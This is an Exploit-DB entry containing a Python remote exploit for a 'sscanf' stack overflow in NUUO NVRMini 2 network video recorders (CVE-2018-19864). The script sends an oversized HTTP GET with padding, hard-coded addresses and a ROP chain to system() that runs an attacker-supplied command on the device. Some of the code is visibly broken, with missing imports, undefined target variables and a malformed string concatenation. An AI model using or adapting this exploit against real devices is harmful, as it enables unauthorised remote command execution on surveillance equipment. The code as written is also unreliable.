Exploit-DB #46960
Description: NUUO NVRMini 2 3.9.1 - 'sscanf' Stack Overflow
Type: remote
Platform: hardware
Date: 2019-06-04
Author: @0x00string

Exploit:
#!/usr/bin/python
# Exploit Title: NUUO NVRMini2 3.9.1 'sscanf' stack overflow
# Google Dork: n/a
# Date: Advisory Published: Nov 18
# Exploit Author: @0x00string
# Vendor Homepage: nuuo.com
# Software Link: https://www.nuuo.com/ProductNode.php?node=2
# Version: 3.9.1 and prior
# Tested on: 3.9.1
# CVE : CVE-2018-19864
#
#   [ leading / ]
#   [ Padding x 335 ]
#   [ original value at stack pointer + 158 ]
#   [ padding x 80 ]
#   [ address of (pop {r3,lr} ; bx lr) ]
#   [ system() address ]
#   [ address of (mov r0,sp ; blx r3) ]
#   [ command to execute ]

def banner():
    print '''
              @0x00string
            [PII_REDACTED]000
         [PII_REDACTED]000000000   00
      [PII_REDACTED][PII_REDACTED]000000000
     [PII_REDACTED][PII_REDACTED][PII_REDACTED]0
    000000000            [PII_REDACTED]
   00000000              [PII_REDACTED]
  0000000               [PII_REDACTED]00
 0000000              [PII_REDACTED]00000
 000000              000000000  000000
0000000            000000000     000000
000000            000000000      000000
000000          000000000        000000
000000         00000000          000000
000000       000000000           000000
0000000    000000000            0000000
 000000   000000000             000000
 [PII_REDACTED]              0000000
 [PII_REDACTED]000               0000000
  [PII_REDACTED]0              00000000
  [PII_REDACTED]0            000000000
 [PII_REDACTED][PII_REDACTED][PII_REDACTED]0
  [PII_REDACTED][PII_REDACTED]000000000
     000 [PII_REDACTED]000000000
            [PII_REDACTED]000
https://github.com/0x00string/oldays/blob/master/CVE-2018-19864.py
'''

def usage ():
    print   ("python script.py <args>\n"
            "   -h, --help:             Show this message\n"
            "   -a, --rhost:            Target IP address\n"
            "   -b, --rport:            Target Port - default 5150\n"
            "   -c, --command:          Command to execute\n"
            "\n"
            "Example:\n"
            "python script.py -a 10.10.10.10\n"
            "python script.py -a 10.10.10.10 -b 1234 -c reboot\n")
    exit()

def main():
    rhost = None;
    rport = "5150";
    command = "{/bin/touch,/tmp/hax}"
    banner()
    options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:fh', ['rhost=','rport=','command=','help'])
    for opt, arg in options:
        if opt in ('-h', '--help'):
            usage()
        elif opt in ('-a','--rhost'):
            rhost = arg;
        elif opt in ('-b','--rport'):
            rport = arg;
        elif opt in ('-c','--command'):
            command = arg;
    print ("Sending exploit to execute [" + command + "]\n")
    buf = "GET /" + ("Z" * 335) + "\x30\x2a\x17\x45" + ("Y" * 80) + "\x08\xfc\x78\x40" +
    "\x44\xe0\x17\x40" + "\xcc\xb7\x77\x40" + command + " HTTP/1.1\r\nHost: " +
    "http://" + rhost + ":" + rport + "\r\n\r\n"
    sock = socket(AF_INET, SOCK_STREAM)
    sock.settimeout(30)
    sock.connect((target_ip,int(target_port)))
    sock.send(buf)
    print ("done\n")

if __name__ == "__main__":
    main()